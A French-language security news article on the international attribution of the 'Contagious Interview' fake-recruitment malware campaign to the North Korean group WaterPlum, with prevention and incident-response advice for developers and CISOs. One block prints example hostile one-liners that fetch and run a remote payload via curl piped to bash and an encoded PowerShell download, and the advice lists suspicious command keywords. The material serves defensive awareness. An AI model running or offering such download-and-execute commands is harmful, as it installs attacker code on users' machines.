Campagne Contagious Interview : quatre pays attribuent la menace au groupe nord-coréen WaterPlum

Le 18 septembre 2026, une coalition internationale sans précédent a officiellement attribué la longue campagne Contagious Interview au groupe étatique nord-coréen WaterPlum. Cette opération, qui combine fausses offres d’emploi et malwares sophistiqués, a infecté plus de 30 000 ordinateurs dans plus de 100 pays, permettant le vol d’environ 1,7 milliard de yens (soit 10,7 millions de dollars) en cryptomonnaies. L’attribution conjointe par le Japon, les États-Unis, l’Australie et l’Allemagne marque un tournant dans la reconnaissance de ces menaces hybrides qui ciblent désormais directement les développeurs et les ingénieurs.

Au-delà des chiffres, c’est la méthode qui inquiète les experts : les opérateurs de WaterPlum ne piratent pas des entreprises, ils piègent des individus via des processus de recrutement falsifiés. Pour un RSSI français, comprendre les rouages de cette campagne est essentiel pour adapter sa politique de sécurité, protéger ses équipes techniques et se conformer aux exigences du RGPD et des sanctions internationales.

L’enquête internationale derrière Contagious Interview

L’avis de cybersécurité conjoint porte la signature de l’Agence nationale de police du Japon (NPA) et de son Bureau national de la cybersécurité, du FBI et du Centre de cybercriminalité du Département de la Défense des États-Unis (DC3), du Centre australien de cybersécurité de l’ASD (ASD-ACSC), ainsi que du Service fédéral de renseignement allemand (BND) et de l’Office fédéral de protection de la Constitution (BfV). Ce niveau de coordination diplomatique et technique est rare. Il prouve que la menace perçue par les grandes puissances est jugée stratégique.

Une attribution sans équivoque

Le groupe WaterPlum est formellement rattaché au 313e Bureau général du département de l’Industrie munitionnaire de la Corée du Nord. Cette unité n’est donc pas composée de cybercriminels isolés, mais d’opérateurs étatiques dont la mission est de générer des revenus pour financer le programme d’armement du régime. En qualifiant ainsi la campagne, les agences transforment ce qui pourrait passer pour une escroquerie en un acte de guerre économique.

L’ampleur des dégâts chiffrée

La police japonaise a qualifié la période allant de décembre 2025 à juillet 2026 comme la phase la plus intense, avec des milliers de cas de portefeuilles vidés. Ces chiffres ne représentent que la partie émergée de l’iceberg, car de nombreuses victimes, par honte ou ignorance, ne signalent pas toujours l’incident.

Le mode opératoire : fausses offres d’emploi et malwares ciblés

La campagne Contagious Interview se distingue par une ingénierie sociale d’une précision chirurgicale. Au lieu de lancer des campagnes de phishing de masse, les opérateurs de WaterPlum identifient leurs victimes une par une sur les réseaux professionnels.

Le piège de l’entretien technique

Les attaquants se font passer pour des recruteurs de sociétés fictives ou légitimes spécialisées dans l’intelligence artificielle, la blockchain, les NFT ou les cryptomonnaies. Ils approchent leurs cibles via LinkedIn, des plateformes de freelancing ou des forums de développeurs. Une fois la conversation engagée, un test technique est proposé. Le candidat reçoit un lien vers un dépôt GitHub ou Bitbucket.

“L’objectif est d’infiltrer les réseaux informatiques de demandeurs d’emploi sans méfiance, de collecter des informations sensibles et de voler des cryptomonnaies.” - Avis conjoint de cybersécurité des quatre pays.

Le test peut prendre plusieurs formes : exécution d’un script pour résoudre un problème de visioconférence, installation d’un package npm spécifique, ou compilation d’un projet semblant anodin. Dans tous les cas, l’exécution déclenche le téléchargement du malware.

# Exemple de commande uniliner malveillante typique de la campagne
# À ne jamais exécuter sans analyse préalable
curl -fsSL https://malicious-server.example/payload.sh | bash
powershell -enc SQBhAG0ALgBzAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0AOgA6AEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AYQBsAGkAYwBpAG8AdQBzAC0AcwBlAHIAdgBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApACkA

Les cinq familles de malwares identifiées

L’avis conjoint détaille cinq souches malveillantes employées par WaterPlum lors de la campagne Contagious Interview. Chacune joue un rôle spécifique dans la chaîne d’attaque.

Ces outils permettent de siphonner les identifiants de connexion, le contenu du presse-papier, les frappes clavier, les captures d’écran, les fichiers de portefeuilles cryptos (y compris les seed phrases), les documents d’identité et le code source des projets en cours.

L’infrastructure duale : laptop farms et travailleurs IT nord-coréens

L’attribution de Contagious Interview révèle un aspect encore plus préoccupant : le lien organique entre cette campagne malveillante et le vaste programme de travailleurs informatiques nord-coréens. Ce système utilise les mêmes infrastructures, les mêmes identités volées et les mêmes circuits de blanchiment.

Un même appareil de génération de revenus

Les opérateurs de WaterPlum ne se contentent pas de voler. Ils placent également des développeurs nord-coréens sous de fausses identités dans des entreprises étrangères. Ces employés, physiquement situés en Corée du Nord, en Chine ou en Russie, utilisent des VPN et des serveurs privés pour masquer leur localisation. Des fermes d’ordinateurs portables (laptop farms), installées dans des logements d’intermédiaires aux États-Unis ou au Japon, fournissent des adresses IP locales crédibles.

Quand un conflit survient (impayé, licenciement, refus de collaboration), les agresseurs n’hésitent pas à recourir à l’extorsion. Ils menacent de publier le code source volé, défigurent les sites web de l’entreprise ou divulguent des données sensibles. La police japonaise a démantelé une ferme de laptops et retracé plusieurs centaines de millions de yens vers des comptes à l’étranger.

Risques de sanctions pour les entreprises françaises

Pour une entreprise française qui recrute des développeurs en freelance, le risque est double. D’une part, elle peut se retrouver infectée par le versant malveillant de Contagious Interview. D’autre part, elle peut enfreindre les sanctions internationales en rémunérant indirectement des ressortissants nord-coréens. Le département d’État américain a déjà émis une alerte sur ce sujet, et le ministère de la Justice a engagé des poursuites contre des facilitateurs.

L’application du RGPD est ici directe : le vol de documents d’identité et de données bancaires constitue une violation de données à caractère personnel. L’article 33 du RGPD impose une notification à la CNIL sous 72 heures. Or, de nombreuses entreprises ignorent encore l’identité réelle de leurs contractants.

Guide pratique : protéger vos équipes et vos systèmes

Face à la campagne Contagious Interview, la prévention passe par une sensibilisation des équipes techniques et un durcissement des processus de recrutement. Voici les mesures actionnables recommandées par les agences.

Mesures pour les développeurs (prévention individuelle)

1. Isoler l’environnement de test : N’exécutez jamais un test de codage non fiable sur votre poste de travail principal. Utilisez une machine virtuelle jetable ou un bac à sable dédié. Les outils comme Docker ou Vagrant sont idéaux pour créer des environnements éphémères.
2. Analyser les commandes suspectes : Soyez extrêmement vigilant si la tâche inclut curl, base64, -enc, mshta, Invoke-WebRequest ou tout script bash non commenté. Un test de codage légitime n’a jamais besoin de télécharger et d’exécuter un script externe.
3. Utiliser le mode restreint des IDE : Ouvrez les projets inconnus dans le Restricted Mode de Visual Studio Code. Inspectez systématiquement le contenu du fichier .vscode/tasks.json avant toute exécution de build ou de test.
4. Contrôler les dépendances : Avant d’installer un package npm, exécutez npm audit et examinez le code source du package, en particulier les scripts postinstall. Les packages BeaverTail étaient spécifiquement conçus pour exfiltrer les données lors de l’installation.

Mesures pour les recruteurs et les RSSI

• Vérification d’identité renforcée (KYC) : Croisez l’adresse IP du candidat avec sa localisation déclarée. Exigez une pièce d’identité nationale et une vérification en visioconférence avec caméra activée. Méfiez-vous des micros désactivés en permanence et des images de synthèse.
• Plateformes de test sécurisées : Privilégiez des services d’évaluation technique reconnus (HackerRank, Codility) qui ne nécessitent pas l’exécution de code binaire sur le poste du candidat. Évitez autant que possible les dépôts GitHub personnels pour les tests de pré-embauche.
• Surveillance des signaux d’alarme : Refus de rencontrer en personne, décalage horaire incompatible avec le fuseau horaire déclaré, absence totale de traces numériques (OSINT), utilisation d’outils de face-swapping.

“Après toute infection, considérez que tous les identifiants sont compromis. Effectuez la rotation des portefeuilles de cryptomonnaies depuis un appareil sain et réinstallez complètement le système d’exploitation.” - Recommandations de l’ASD-ACSC et du FBI.

Conduite à tenir en cas de compromission

1. Isolement : Débranchez immédiatement la machine du réseau (filaire et Wi-Fi). Ne l’éteignez pas ; une image mémoire peut être nécessaire pour l’analyse forensique.
2. Rotation des secrets : Depuis un poste sain, réinitialisez tous les mots de passe. Générez de nouvelles seed phrases pour vos portefeuilles cryptos et transférez les fonds.
3. Réinstallation : Effacez complètement le disque dur et réinstallez le système d’exploitation à partir d’une source fiable. Ne restaurez pas les données à partir de sauvegardes non vérifiées.
4. Signalement : Notifiez l’incident au CERT-FR et à la CNIL (sous 72 heures si des données personnelles sont concernées). Conformément à l’article 33 du RGPD, documentez la violation.

Conclusion : une menace qui appelle une réponse globale

L’attribution de la campagne Contagious Interview au groupe WaterPlum lève le voile sur une menace hybride d’une sophistication rare. Elle illustre la convergence entre cybercriminalité, espionnage industriel et contournement de sanctions internationales, le tout piloté par un appareil d’État.

Pour les professionnels français de la cybersécurité, cette affaire est un signal d’alarme majeur. La vulnérabilité ne se trouve pas seulement dans le code, mais dans la confiance accordée aux processus de recrutement. Les entreprises doivent dès aujourd’hui mettre à jour leurs politiques de vérification d’identité, former leurs équipes de développement aux réflexes de sécurité et durcir leurs contrôles sur la chaîne d’approvisionnement logicielle.

La réponse à WaterPlum ne peut être uniquement technique. Elle est diplomatique, juridique et collective. Ne pas attendre que l’attaque se produise : la prochaine phase de Contagious Interview est déjà en préparation.